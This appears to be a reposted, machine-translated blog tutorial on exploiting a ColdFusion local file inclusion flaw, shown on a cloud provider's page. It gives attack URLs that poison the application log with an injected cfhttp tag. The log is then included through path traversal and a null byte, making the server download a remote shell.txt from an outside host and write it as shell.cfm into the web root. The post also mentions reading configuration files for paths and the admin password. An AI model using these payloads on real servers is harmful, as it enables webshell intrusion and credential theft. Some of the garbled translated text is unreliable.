Cfm local vulnerability Exploitation

Source: Internet
Author: User

1. Read the sensitive metabase. xml/web. xml/password. properities file and find the www path, coldfusion Path, and coldfusion background encryption password.

2. Local coldfusion logs are contained. Write a cfm statement to get WEBSHELL.

Http://www.bkjia.com/index. cfm? Action = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /CFusionMX7/logs/application. log % 00

 

Http://www.bkjia.com/index. cfm? Action = <cfhttp method = Get URL = # URL. u # PATH = # URL. p # FILE = # URL. f #>

 

Http://www.bkjia.com/index. cfm? Action =... \ application. log % 00 & u = http://www.pentest.cc/shell.txt&p;c:?inetpub=wwwroot=&f=shell.cfm

 

 

 

Successful conditions:

1. writable WEB directory

2. the coldfusion directory and the web directory are in the same partition.

3. A group of cool people

Unsolved problems:

1. iis logs will convert spaces to +. I don't know how to bypass it.

2. coldfusion will double single quotation marks and double quotation marks. I don't know how to bypass it. (The master also encountered this problem. Haha)

From mickey's blog

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.